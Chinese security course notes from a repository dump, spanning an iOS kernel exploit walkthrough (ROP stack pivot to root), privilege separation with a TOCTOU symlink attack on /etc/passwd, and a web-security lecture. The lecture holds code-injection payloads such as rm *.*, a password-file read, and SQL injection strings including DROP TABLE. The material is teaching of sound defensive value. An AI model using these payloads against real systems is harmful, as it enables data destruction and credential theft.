| |———> (3)main chain ——————+ 503 | +——————————0x10——————————+ | 504 | | vtable ptr |———> (2)pop rsp; ret | 505 | +——————————0x00——————————+ <—————————+ 506 | 507 | ``` 508 | 509 | 1. 触发UAF后并将被释放的`OSString`空间重新分配给以0填充的`OSData` 510 | - `OSString`的虚表指针为前8字节(64位)= 全0 511 | - `retain`指针在虚表内的偏移量为0x20字节 512 | - 调用`retain`时,`RIP`(64位指令指针)= [0x20] 513 | - 在NULL页中偏移量0x20字节处放置一个[stack pivot(栈轴)](https://blogs.mcafee.com/mcafee-labs/emerging-stack-pivoting-exploits-bypass-common-security/): (转移到转移链) 514 | - 映射NULL页:将攻击负载添加到堆中从地址0开始的地方 515 | - Apple为了兼容传统32位二进制程序,允许禁止`__PAGEZERO`段,将NULL页留作布置ROP链 516 | - stack pivoting: 将栈指针指向一个攻击者控制的缓冲 517 | - gadget:`xchg eax, esp; ret` (二进制`{0x94, 0xC3}`) 518 | - 先将`esp`设置为`eax`(0),再将栈顶(0)弹出到`RIP` 519 | - 在NULL页中偏移量0x00字节处放置一个小的转移链(转移到提升特权的主链) 520 | - 0x00处gadget:`pop rsp; ret` (二进制`{0x5C, 0xC3}`) 521 | - 0x10处:指向主链中第一个gadget的指针 522 | - 使用该转移链的原因:从0x0到0x20之间空间(32字节)不够放置主链 523 | - 执行主链来提升特权,模仿`setuid(0)`来越狱 524 | 1. 获取内存中当前进程的凭证结构体(credentials) 525 | 1. `"_current_proc"` 获取当前进程结构体 526 | 2. `"_proc_ucred"` 获取其中的凭证结构体 527 | 3. `"_posix_cred_get"` 获取其中的posix凭证结构体指针 528 | - 将整个凭证结构体置0,其中UID/GID都被置0(root),实现越狱! 529 | - `"_bzero"` 将目标内存(3个int型)置0 530 | - 最后从内核态中正常退出 531 | - `"_thread_exception_return"` 532 | 533 | 至此,完成特权提升。后面还需将越狱持久化,清理痕迹,以及插入恶意代码。 534 | 535 | --- 536 | 537 | -------------------------------------------------------------------------------- /system-security/privilege-separation.md: -------------------------------------------------------------------------------- 1 | # 特权分离 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 本节课学习特权分离概念,一种web服务器安全体系OKWS。 8 | 9 | 10 | ## 访问控制 11 | 12 | [访问控制(access control (AC))](https://en.wikipedia.org/wiki/Access_control):对资源消耗,访问,使用的的选择性限制。 13 | 14 | - “访问”包含三个元素:主体,对象(客体),操作 15 | - 认证(authentication)过程识别主体的真正身份 16 | - “你知道的”:例如网站口令 17 | - “你拥有的”:例如手机sim卡 18 | - “你是什么”:例如指纹,虹膜 19 | - 恢复机制:口令恢复通道(email,短信);你所知道的其他知识 20 | - 双因子(two-factor)认证:例如在ATM上取款需要银行卡和口令 21 | - 对访问资源的许可称为“授权(authorization)” 22 | - 强制访问控制(Mandatory Access Control,MAC),系统强制执行,例如特权用户与非特权用户 23 | - 自主访问控制(Discretionary Access Control,DAC),资源拥有者自定义,例如文件权限 24 | 25 | 实现访问控制依赖于 [引用监视器(reference monitor)](https://en.wikipedia.org/wiki/Reference_monitor):在操作系统中,对引用验证机制(reference validation mechanism,RVM)的一个设计需求集合,来强制实现访问控制策略,需满足一下需求: 26 | 27 | - 不可绕过(Non-bypassable):RVM必须始终被调用(always invoked),完全介入(complete mediation) 28 | - 防篡改(Tamper-proof):否则,不能保证不可绕过 29 | - 可验证(Verifiable):RVM必须足够小,以进行分析,测试,确保不可绕过 30 | 31 | 实现引用监视器依赖于 [可信计算基(trusted computing base)](https://en.wikipedia.org/wiki/Trusted_computing_base):实现安全策略的关键硬件、固件、软件的集合,若发生故障则无法实现安全;区别于其他即使发生故障也不会影响安全的组件 32 | 33 | [TOCTOU (time-of-check-time-of-use)](https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use):指访问控制的检查时刻与使用时刻之间相关资源已改变。 34 | 35 | 受害程序: 36 | 37 | ```c 38 | if (access("file", W_OK) != 0) { 39 | exit(1); 40 | } 41 | 42 | fd = open("file", O_WRONLY); 43 | // Actually writing over /etc/passwd 44 | write(fd, buffer, sizeof(buffer)); 45 | ``` 46 | 47 | 攻击程序: 48 | 49 | ```c 50 | // After the access check 51 | symlink("/etc/passwd", "file"); 52 | // Before the open, "file" points to the password database 53 | ``` 54 | 55 | 56 | ## UNIX操作系统中的特权 57 | 58 | [特权(privilege)](https://en.wikipedia.org/wiki/Privilege_(computing)):允许用户(主体)对一个计算机系统(客体)执行特定操作的授权。 59 | 60 | Unix中的主体与客体: 61 | 62 | - Unix系统包含一个内核和多个**进程** 63 | - 用**文件**作为所有持久性系统对象的概念 64 | - **进程**有各自的**内存地址空间** 65 | - **进程**与**用户**相关联,**用户**与**文件**访问权限相关联 66 | 67 | Unix系统采用强制访问控制,**‘root’**特权用户(UID=0)拥有全部特权,而一般用户不具备的特权包括: 68 | 69 | - 调整运行级别,内核选项 70 | - 调整`ulimit`或磁盘份额 71 | - 更改系统文件,或其他用户的文件 72 | - 更改文件的所有者或组,`chown/chgrp` 73 | - 创建或删除用户或组,`adduser/deluser` 74 | - 执行`sbin/`目录中内容 75 | - 绑定小于1024的端口,创建原始套接字 76 | - 启动或终止精灵进程 77 | - 向其他用户的进程发信号 78 | - 创建设备节点,挂载/卸载(`mount/unmount`)磁盘分卷 79 | 80 | [文件系统权限(permission)](https://en.wikipedia.org/wiki/File_system_permissions):作为一种自主访问控制,文件拥有者自主定义访问控制,表示为模式位(mode bit): 81 | 82 | 83 | ``` 84 | 0 123 456 789 bit 85 | [type][owner][group][other] 86 | [- ][rwx ][rwx ][rwx ] +—> [s]etuid/gid 87 | | | |—> s[t]icky 88 | | |——> [r]ead, [w]rite, e[x]ecute 89 | | 90 | |——> [-]ordinary, [d]irectory, [l]ink, 91 | |——> [s]ocket, [p]ipe, [c]haracter, [b]lock 92 | ``` 93 | 94 | - `s[t]icky`位: 在目录上设置粘滞位,目录内文件的所有者或者root才可以删除或移动该文件。例如,临时文件目录`/tmp`,对所有用户可读写,但一个用户不能删除或改动其他用户文件。 95 | - `[s]etuid/setgid`位:执行该文件时,进程`euid`为文件拥有者。例如,`/bin/ping`。 96 | 97 | 98 | [用户ID与进程](https://en.wikipedia.org/wiki/User_identifier):当用户登录到系统时创建与其关联的进程 99 | 100 | ``` 101 | |————————————|———————————————————|———————————————| 102 | | | Set | Get | 103 | |————————————|———————————————————|———————————————| 104 | | Effective | login, |geteuid | 105 | | UID (euid) | setuid(ruid) | | 106 | | | exec (owner), |setreuid | 107 | | | setreuid(ruid) | | 108 | |————————————|———————————————————|———————————————| 109 | | Real UID | login, setuid, |setuid, getuid | 110 | | (ruid) | setreuid(euid) | | 111 | |————————————|———————————————————|———————————————| 112 | | Saved UID | login, exec(euid),|setuid | 113 | | (suid) | setuid | | 114 | |————————————|———————————————————|———————————————| 115 | ``` 116 | - 缺省情况下,例如登录后`euid = ruid = suid` 117 | - `euid`:进程多数权限依赖于`euid`,例如新创建文件的拥有者。`euid=0`的进程为特权进程。(Linux中还有`fsuid`) 118 | - `ruid`:进程真正拥有者(启动者),拥有发信号权限 119 | - `suid`:临时保存`euid`,待之后恢复。用于特权用户临时降低特权,之后再恢复特权 120 | - Linux中的`fsuid/gid`用于文件系统访问控制,通常与`euid/gid`一致 121 | - 进程`fork`或`exec`时,继承或保留3个uid 122 | - `setuid()`函数族设置`uid/gid`,但实际情况比较复杂,详见[Setuid Demystified (USENIX Security 2002)](https://www.usenix.org/legacy/events/sec02/full_papers/chen/chen.pdf) 123 | - `sudo`命令:临时以特定用户(缺省root)特权来执行命令。例如,`sudo apt-get` 124 | 125 | [特权扩大(privilege escalation)](https://en.wikipedia.org/wiki/Privilege_escalation):利用操作系统或软件应用中的bug、设计缺陷或配置疏漏来获得访问被保护资源的特权。 126 | 127 | - 垂直特权扩大:即特权提升(privilege elevation),低特权用户获得高特权用户的特权,通常获得系统管理权。例如,Unix系统中越狱(jailbreaking)打破`chroot`或`jail`限制,以及Android中获取root。 128 | - [`chroot`](https://en.wikipedia.org/wiki/Chroot)命令: 129 | - 该命令只有root可以执行:`chroot /tmp/guest`, `su guest` 130 | - 改变当前进程的根目录,将进程文件系统特权限制在指定jail目录下 131 | - `open("/etc/passwd", "r")` -> `open("/tmp/guest/etc/passwd", "r")` 132 | - 水平特权扩大:一个用户获得另一用户的特权。例如,在一个网银中,用户甲通过cookie劫持来访问用户乙的银行账户。 133 | 134 | [**最小特权原则(principle of least privilege)**](https://en.wikipedia.org/wiki/Principle_of_least_privilege):限制每个主体只具有执行合法操作所必须的最小特权。 135 | 136 | ## 特权分离 137 | 138 | 参考文献:[Preventing Privilege Escalation (USENIX Security 2003)](http://www.citi.umich.edu/u/provos/papers/privsep.pdf) 139 | 140 | [特权分离(privilege separation)](https://en.wikipedia.org/wiki/Privilege_separation):将特权代码最小化,同时不影响功能。 141 | 142 | 将一个程序划分为多个组件,根据执行特定任务的需求来限制每个组件的特权。攻破某个组件只能获取该组件特权,而不会得到其他特权。因此,也称为“compartmentalisation(分解法)”。已被应用于OpenSSH, Google Chromium浏览器。 143 | 144 | - 服务分为一个特权父进程monitor和多个非特权子进程slave 145 | - slave去权限通过UID/GID实现 146 | - slave与monitor通过socketpair通信 147 | - slave请求monitor提供三种权限:信息,能力,UID/GID改变 148 | - 信息:slave向monitor发送信息请求(请求类型,长度) 149 | - 能力:通过file descriptor passing机制来访问特权文件 150 | - UID改变:保留slave状态,终止slave,启动有新UID的新slave 151 | 152 | --- 153 | 154 | ## OKWS 155 | 156 | 参考文献:[Building Secure High-Performance Web Services with OKWS (USENIX ATC 2004) [local]](supplements/okws.pdf) 157 | 158 | 实验系统`zookws`源自于OKWS,一个特权分离web服务器。OKWS实现以下目标: 159 | 160 | 1. `chroot`所有服务到一个jail目录 161 | - 以操作系统级jail来隐藏敏感文件。在jail中,每个进程的特权只包括,在启动时读取共享库,以及在异常终止时dump core。所有服务从来不访问文件系统,也没有该特权。 162 | - 每个服务以一个唯一的非特权用户来运行 163 | - 即使在`chroot`环境下,特权用户可以绑定端口,跟踪系统调用或发送信号。 164 | - 服务器进程应只具有最小数据库访问特权 165 | - 在web服务和数据库之间插入一个结构化RPC接口,替代直接SQL查询接口,使用简单的认证机制来在不同进程划分上划分数据库访问方法。 166 | - 独立的功能应分离到独立的进程 167 | - 每个web服务作为一个独立进程。否则,攻击者可以查看内存中数据结构,其中可能包括会话管理数据,或用于认证的秘密token;攻击者劫持存在的数据库连接;监控改变网络流量。 168 | 169 | OKWS体系结构: 170 | 171 | - `okld`:启动/重启定制服务 172 | - `okd`:将到来的请求分发到适合的服务 173 | - `pubd`:具有有限权限:读取磁盘中配置文件和HTML模板文件 174 | - `oklogd`:专门的日志精灵进程在磁盘上写入日志 175 | - `svc1/2/3`:定制服务 176 | 177 | ``` 178 | | +———————+ +————————+ 179 | | | okld +—————>| oklogd | 180 | | +———+———+ +————————+ 181 | | |———————+ 182 | | | | 183 | HTTP +———v———+ | +———————+ +——————————+ 184 | <====|===> | okd |<——+—>| svc1 | | Database | 185 | | +———+———+ | +————+——+ +————^—————+ 186 | | | | +—————+ | 187 | | +———v———+ | +———————+ | +———+——+ 188 | | | pubd | +—>| svc2 +——+——>| Data2 | 189 | | +———————+ | +———————+ +———————+ 190 | | | +———————+ +———————+ 191 | | +—>| svc3 +—————>| Data3 | 192 | +———————+ +———————+ 193 | ``` 194 | 195 | 考虑到安全和性能之间的取舍,每个服务一个进程,而不是每个客户一个进程。OKWS权限分离方案: 196 | 197 | ``` 198 | |—————————|——————————————————|———————————————|——————|——————| 199 | | process |chroot jail |run directory |uid | gid | 200 | |—————————|——————————————————|———————————————|——————|——————| 201 | | okld | /var/okws/run | / |root |wheel | | pubd | /var/okws/htdocs | / |www |www | 202 | | oklogd | /var/okws/log | / |oklogd|oklogd| | okd | /var/okws/run | / |okd |okd | 203 | | svc1 | /var/okws/run | /cores/51001 |51001 |51001 | 204 | | svc2 | /var/okws/run | /cores/51002 |51002 |51002 | 205 | | svc3 | /var/okws/run | /cores/51003 |51003 |51003 | 206 | |—————————|——————————————————|———————————————|——————|——————| 207 | ``` 208 | 209 | OKWS安全优点: 210 | 211 | - 本地文件系统:除了执行定制代码,几乎不访问文件系统 212 | - 其他特权:进程间彼此分离,除了`okld`,没有进程能绑定特权端口 213 | - 数据库访问:所有数据库访问通过RPC通道使用独立鉴别机制;攻击者直接面对RPC协议声明,无法用SQL客户端访问 214 | - 进程隔离与特权分离:将容易出bug的HTTP语法分析与其他敏感区域分离,并赋予最低特权;拥有特权的`okld`只处理信号,不处理其他消息 215 | 216 | OKWS安全缺点: 217 | 218 | - 目前只支持C++来开发服务;需要安全字符串类来生成输出,不能阻止程序员是使用不安全编程技术 219 | - 一旦被攻破,攻击者可以访问其他用户的在内存中的状态(因为相同服务的用户共享一个进程) 220 | - 仍然受核心库中bug影响 221 | 222 | --- 223 | -------------------------------------------------------------------------------- /system-security/supplements/Capsicum.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/system-security/supplements/Capsicum.pdf -------------------------------------------------------------------------------- /system-security/supplements/Pegasus.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/system-security/supplements/Pegasus.pdf -------------------------------------------------------------------------------- /system-security/supplements/iOS_Security_Guide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/system-security/supplements/iOS_Security_Guide.pdf -------------------------------------------------------------------------------- /system-security/supplements/okws.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/system-security/supplements/okws.pdf -------------------------------------------------------------------------------- /web-security/supplements/OWASP_Top_10_2013-Chinese-V1.2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/web-security/supplements/OWASP_Top_10_2013-Chinese-V1.2.pdf -------------------------------------------------------------------------------- /web-security/supplements/busting-frame.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/web-security/supplements/busting-frame.pdf -------------------------------------------------------------------------------- /web-security/supplements/clickjacking-example/attacker.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Attacker web page 4 | 12 | 35 | 36 | 37 | 38 |
39 |

Attacker

40 |
41 | 42 |
43 |
44 | 45 | 46 | -------------------------------------------------------------------------------- /web-security/supplements/clickjacking-example/autofill.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/web-security/supplements/clickjacking-example/autofill.jpg -------------------------------------------------------------------------------- /web-security/supplements/clickjacking-example/clickjacking.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Trusted 4 | 17 | 18 | 48 | 49 | 50 | 51 |

Example 1: onMouseUp

52 | 54 | Go to the Trusted! 55 |
56 |
57 |

Example 2: iframe

58 |
59 |

Trusted

60 | 61 |
62 | 64 |
65 |
66 |

Example 3: cursorjacking

67 | cursorjacking 68 |
69 |
70 |

Example 4: autofill

71 | autofill 72 | 73 | 74 | -------------------------------------------------------------------------------- /web-security/supplements/clickjacking-example/cursorjacking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/web-security/supplements/clickjacking-example/cursorjacking.jpg -------------------------------------------------------------------------------- /web-security/supplements/clickjacking-example/trusted.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Trusted 4 | 5 | 6 |

This website is trusted!

7 | 8 | 9 | -------------------------------------------------------------------------------- /web-security/web-sec-1.md: -------------------------------------------------------------------------------- 1 | # Web安全:Injection,XSS与CSRF 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 本节课程学习针对Web服务器和浏览器的恶意攻击与防御。 8 | 9 | 10 | ## 1. Web简介 11 | 12 | ### 1.1 HTTP简介 13 | 14 | [HTTP(Hypertext Transfer Protocol)](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol):一种请求-应答式、无状态、客户端-服务器模式应用层协议,由Tim Berners-Lee在1989年开发,是WWW中数据通信的基础。 15 | 16 | 相关标准: 17 | 18 | - [RFC2616: Hypertext Transfer Protocol -- HTTP/1.1](https://tools.ietf.org/html/rfc2616) 19 | - [RFC7230: HTTP/1.1: Message Syntax and Routing](https://tools.ietf.org/html/rfc7230) 20 | - [RFC7231: HTTP/1.1: Semantics and Content](https://tools.ietf.org/html/rfc7231) 21 | - [RFC7232: HTTP/1.1: Conditional Requests](https://tools.ietf.org/html/rfc7232) 22 | - [RFC7233: HTTP/1.1: Range Requests](https://tools.ietf.org/html/rfc7233) 23 | - [RFC7234: HTTP/1.1: Caching](https://tools.ietf.org/html/rfc7234) 24 | - [RFC7235: HTTP/1.1: Authentication](https://tools.ietf.org/html/rfc7235) 25 | - [RFC7540: HTTP/2](https://tools.ietf.org/html/rfc7540) 26 | 27 | HTTP请求(Request)格式: 28 | 29 | ``` 30 | [METHOD] [REQUEST-URI] HTTP/[VER] 31 | Field1: Value1 32 | Field2: Value2 33 | 34 | [request body, if any] 35 | ``` 36 | - 请求方法: 37 | - GET:(读)获取URI指向资源 38 | - HEAD:(读)与GET一样,但只请求资源头部 39 | - POST:(改)请求服务器接受请求中包含数据 40 | - PUT:(增)请求服务器创建资源 41 | - DELETE:(删)删除指定资源 42 | - TRACE:(测)返回所接收到的请求 43 | - CONNECT:请求代理建立隧道 44 | - PATCH:(改)请求更改资源 45 | - OPTIONS:(查)返回服务器所支持方法 46 | - 安全(safe)方法:HEAD,GET,OPTIONS,TRACE为读操作,其他方法可能改写资源是非安全方法 47 | - 幂等操作(idempotent):执行多次和只执行一次的效果相同,安全方法应是幂等的,PUT和DELETE也是 48 | - 不同实现中,GET也可实现POST,PUT,DELETE效果 49 | 50 | HTTP请求例子: 51 | 52 | ``` 53 | GET / HTTP/1.0 54 | User-Agent: Mozilla/3.0 (compatible; Opera/3.0; Windows 95/NT4) 55 | Accept: */* 56 | Host: birk105.studby.uio.no:81 57 | ``` 58 | 59 | HTTP应答格式: 60 | 61 | ``` 62 | HTTP/[VER] [CODE] [TEXT] 63 | Field1: Value1 64 | Field2: Value2 65 | 66 | ...Document content here... 67 | ``` 68 | 69 | - 状态码(常用): 70 | - 1XX:Informational 71 | - 100 Continue:继续提交请求负载 72 | - 2XX:Success 73 | - 200 OK 74 | - 3XX:Redirection 75 | - 300 Mutiple Choices:所请求资源有多个选择 76 | - 301 Moved Permanently:资源已经移动 77 | - 302 Found:资源临时移动 78 | - 4XX:Client Error 79 | - 400 Bad Request:请求错误 80 | - 403 Forbidden:拒绝响应 81 | - 404 Not Found 82 | - 5XX:Server Error 83 | - 500 Internal Server Error 84 | - 503 Service Unavailable 85 | 86 | HTTP应答例子: 87 | 88 | ``` 89 | HTTP/1.0 200 OK 90 | Server: Netscape-Communications/1.1 91 | Date: Tuesday, 25-Nov-97 01:22:04 GMT 92 | Last-modified: Thursday, 20-Nov-97 10:44:53 GMT 93 | Content-length: 6372 94 | Content-type: text/html 95 | 96 | 97 | 98 | ...followed by document content... 99 | ``` 100 | 101 | ### 1.2 网页简介 102 | 103 | - [HTML(HyperText Markup Language)](https://en.wikipedia.org/wiki/HTML):(内容)结构化文档语言 104 | - [CSS(Cascading Style Sheets)](https://en.wikipedia.org/wiki/Cascading_Style_Sheets):(风格)描述文档的表现形式 105 | - [JavaScript](https://en.wikipedia.org/wiki/JavaScript):(程序)操纵网页的程序语言 106 | - [DOM(Document Object Model)](https://en.wikipedia.org/wiki/Document_Object_Model):跨平台接口来表达和交互HTML中对象,用JavaScript来操作 107 | 108 | --- 109 | 110 | ## 2. Web安全风险分类 111 | 112 | ### 2.1 风险分类 113 | 114 | - 风险1:恶意网站破坏用户系统 115 | - 防御:沙箱化Javascript;避免浏览器bug;特权分离;自动更新等 116 | - 风险2:恶意网站窃听/篡改用户与其他网站通信 117 | - 防御:[同源策略(same-origin policy)](https://en.wikipedia.org/wiki/Same-origin_policy):一个网页中脚本只能访问同源的其他网页 118 | - 风险3:攻击用户服务器上存储的数据 119 | - 防御:服务器安全 120 | 121 | 开源web应用安全项目(OWASP)总结的[2013年最关键Web应用安全风险Top 10](OWASP_Top_10_2013-Chinese-V1.2.pdf): 122 | 123 | 1. 注入:恶意数据被作为命令或查询语句的一部分 124 | 2. 失效的身份认证和会话管理 125 | 3. 跨站脚本(XSS):攻击者在受害者的浏览器上执行脚本 126 | 4. 不安全的直接对象引用:网站开放人员暴露一个对内部实现对象的引用 127 | 5. 安全配置错误:许多配置的默认值并不安全 128 | 6. 敏感信息泄露:未正确保护敏感数据 129 | 7. 功能级访问控制缺失:攻击者伪造请求在未经授权时访问 130 | 8. 跨站请求伪造(CSRF):令登录用户的浏览器伪造请求 131 | 9. 使用含有已知漏洞的组件 132 | 10. 未验证的重定向和转发:重定向受害者到钓鱼/恶意网站或访问未授权页面 133 | 134 | --- 135 | 136 | ## 3 注入攻击 137 | 138 | [SQL注入(SQL Injection)](https://en.wikipedia.org/wiki/SQL_injection):是一种[代码注入](https://en.wikipedia.org/wiki/Code_injection)技术,恶意SQL语句被插入到一个字段中并被执行。1998年,在黑客杂志[Phrack](https://en.wikipedia.org/wiki/Phrack)上首次披露([文章链接](http://phrack.org/issues/54/8.html#article))。 139 | 140 | 141 | ### 3.0 代码注入 142 | 143 | 基于`eval`(PHP)的代码注入例子: 144 | 145 | 一个计算机网站`http://site.com/calc.php`服务器上PHP代码: 146 | 147 | ```php 148 | $exp = $_GET['exp']; 149 | eval('$result = ' .$exp. ';'); 150 | ``` 151 | 152 | - 正常计算`3+5`:`http://site.com/calc.php?exp="3+5"` 153 | - 攻击代码:`http://site.com/calc.php?exp="3+5; system('rm *.*')"` 154 | 155 | 一个基于`system()`的例子: 156 | 157 | 服务器PHP代码发送一封邮件: 158 | 159 | ```php 160 | $email = $_POST["email"] 161 | $subject = $_POST["subject"] 162 | system("mail $email –s $subject < /tmp/joinmynetwork") 163 | ``` 164 | 攻击代码盗窃口令: 165 | 166 | ``` 167 | http://yourdomain.com/mail.php? 168 | email=hacker@hackerhome.net & subject="foo < /usr/passwd; ls" 169 | ``` 170 | 171 | ### 3.1 过滤escape字符错误 172 | 173 | 输入中所含特殊字符,未做转意过滤。 174 | 175 | 漏洞代码: 176 | 177 | ```sql 178 | SELECT * FROM users WHERE name = '" + userName + "'; 179 | ``` 180 | 181 | 令`userName`变量为` ' OR '1'=1`或者` ' OR '1'='1' --`(注释掉其余查询)。 182 | 实际执行代码将获得所有用户,而不是特定用户: 183 | 184 | ```sql 185 | SELECT * FROM users WHERE name = '' OR '1'='1'; 186 | or 187 | SELECT * FROM users WHERE name = '' OR '1'='1' -- '; 188 | ``` 189 | 190 | 攻击者还可以令`userName`为下面的值来删除一个表`userinfo`: 191 | 192 | ```sql 193 | a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't' 194 | ``` 195 | 实际执行命令: 196 | 197 | ```sql 198 | SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'; 199 | ``` 200 | 201 | ### 3.2 类型处理错误 202 | 203 | 输入字段不是[强类型](https://en.wikipedia.org/wiki/Strong_and_weak_typing)的,或未做类型限制检查。 204 | 205 | 例如,一个字段是数字,但未检查输入是否真的是数字: 206 | 207 | ```sql 208 | SELECT * FROM userinfo WHERE id =" + a_variable + "; 209 | ``` 210 | 211 | 由于期待的输入为数字,因而攻击者可绕过上一个例子中的转移字符`'`,令`a_variable`为`1; DROP TABLE users`,导致“users”表被删除: 212 | 213 | ```sql 214 | SELECT * FROM userinfo WHERE id=1; DROP TABLE users; 215 | ``` 216 | 217 | 218 | ### 3.3 Blind SQL注入 219 | 220 | 当实施SQL注入时,注入结果对攻击者是不可见的。 221 | 222 | 223 | **条件响应:** 224 | 225 | 一种注入攻击令数据库来计算一个显示在屏幕上的逻辑语句,通过网页响应来实施攻击。 226 | 227 | 例如,一个图书评论网站用一个[查询串(query string)](https://en.wikipedia.org/wiki/Query_string)来确定显示哪一个评论,例如`http://books.example.com/showReview.php?ID=5`。该查询串在服务器内对应的SQL命令为: 228 | 229 | ```sql 230 | SELECT * FROM bookreviews WHERE ID = 'Value(ID)'; 231 | ``` 232 | 233 | 攻击者并不知道数据库、表或字段的名字,也不知道查询串,但攻击者可以构造以下URL来做个测试。 234 | 235 | ``` 236 | http://books.example.com/showReview.php?ID=5 OR 1=1 237 | http://books.example.com/showReview.php?ID=5 AND 1=2 238 | ``` 239 | 240 | 上述URL导致服务器上分别执行如下查询: 241 | 242 | ```sql 243 | SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1'; 244 | SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2'; 245 | ``` 246 | 247 | `1=1`的URL会查看原来的评论,`1=2`的URL会导致空页或错误页。由此,攻击者可以推断出该网站有SQL注入漏洞并实施攻击。例如推断MySQL服务器版本号: 248 | 249 | ``` 250 | http://books.example.com/showReview.php?ID=5 AND substring(@@version, 1, INSTR(@@version, '.') - 1)=4 251 | ``` 252 | 253 | 对应SQL查询是: 254 | 255 | ```sql 256 | SELECT * FROM bookreviews WHERE ID = '5' AND substring(@@version, 1, INSTR(@@version, '.') - 1)=4 257 | ``` 258 | 259 | 若MySQL版本为4,则显示评论;否则显示空页或错误页。 260 | 261 | **二阶SQL注入:** 262 | 263 | 在二阶注入中,注入的恶意命令并不被立刻执行,而是被暂时存储起来。例如,应用程序先将SQL语句正确编码并存储;应用程序中另一部分在没有注入保护的情况下执行存储的SQL语句。这需要攻击者知道被提交的值如何被使用。当前Web应用安全扫描器难以发现此类注入。 264 | 265 | 例如,一个Web应用查询用户的社保号: 266 | 267 | ```sql 268 | SELECT ssn FROM users WHERE username=' + a_variable + '; 269 | ``` 270 | 271 | 攻击者创建一个账号,用户名为`XXX' OR username='JANE`。在注册时,通过了安全检查,被录入数据库。此后,攻击者查询自己的社保号时会获得JANE的社保号。 272 | 273 | ```sql 274 | SELECT ssn FROM users WHERE username='XXX’ OR username='JANE' 275 | ``` 276 | 因为并不存在用户`XXX`,转而获得`JANE`的信息。 277 | 278 | ### 3.4 防御 279 | 280 | 281 | - [参数化语句(parameterized statement)](https://en.wikipedia.org/wiki/Prepared_statement)在语句中使用参数,而不是直接将用户输入嵌入到语句中,令实现可以区分数据和代码。 282 | 283 | 一个Perl DBI例子: 284 | 285 | ```perl 286 | my $stmt = $dbh->prepare('SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?'); 287 | $stmt->execute($username, $password); 288 | ``` 289 | 290 | - 转义(Escaping):将有特殊含义的字符做转义处理,例如在MySQL的ANSI SQL模式中每个单引号(`'`)被替换为两个单引号(`''`)。 291 | 292 | 一个PHP中使用MySQL的MySQL模式例子: 293 | 294 | ```php 295 | $mysqli = new mysqli('hostname', 'db_username', 'db_password', 'db_name'); 296 | $query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'", 297 | $mysqli->real_escape_string($username), 298 | $mysqli->real_escape_string($password)); 299 | $mysqli->query($query); 300 | ``` 301 | 302 | 其中,`real_escape_string`函数会将特殊字符\x00, \n, \r, \, ', ", x1a(Control-Z)等等之前插入一个`\`进行转换。 303 | 304 | - 模式检查(Pattern Check),例如检查整数,浮点数,布尔值参数格式是否正确,一些字符串是否符合特定格式,例如日期等 305 | - 用特权分离思想限制数据库访问权限,来减小注入攻击危害范围 306 | 307 | ## 4 跨站脚本 308 | 309 | [跨站点脚本(Cross-site scripting (XSS))](https://en.wikipedia.org/wiki/Cross-site_scripting):攻击者在一个网页中注入恶意客户端脚本,受害者一旦浏览该网页,则其浏览器执行该恶意脚本。也是一种代码注入。 310 | 311 | ### 4.0 同源策略 312 | 313 | XSS攻击的一个主要优势是可以绕过[同源策略(same-origin policy)](https://en.wikipedia.org/wiki/Same-origin_policy),即一个网站的脚本只能访问同一网站资源。 314 | 315 | [RFC6454: The Web Origin Concept](https://tools.ietf.org/html/rfc6454):源=协议+主机+端口 316 | 317 | ``` 318 | Origin: http://www.a.com/dir/page.html 319 | Compared URL | Outcome | Reason 320 | ------------------------------------------------------------------------------------------- 321 | http://www.a.com/dir/page2.html | Success | Same proto, host and port 322 | http://www.a.com/dir2/other.html | Success | Same proto, host and port 323 | http://www.a.com:81/dir/other.html | Failure | Same proto, host but diff port 324 | https://www.a.com/dir/other.html | Failure | Different protocol 325 | http://en.a.com/dir/other.html | Failure | Different host 326 | http://a.com/dir/other.html | Failure | Different host 327 | http://www.a.com:80/dir/other.html | Depends | Depends on implementation 328 | ``` 329 | 330 | 在XSS中,攻击脚本与被攻击网站在同一网站上。这有两种类型XSS: 331 | 332 | - Stored XSS(持久):攻击者将脚本注入网站,等待受害者来载入脚本 333 | - Reflected XSS(非持久):攻击者让用户点击一个指向恶意脚本的URL,web服务将脚本反射回来 334 | 335 | ### 4.1 存储XSS 336 | 337 | [MySpace Samy蠕虫](http://namb.la/popular/tech.html):利用XSS在MySpace中注入脚本,令访问MySpace页面的用户与Samy自动加为朋友。Samy成了最后欢迎的人! 338 | 339 | 1. MySpace为阻止XSS而禁用了许多标签、动作和指向脚本的连接,但一些浏览器(IE,Safari等)允许在CSS标签中包含JavaScript,例如`
` 340 | - `
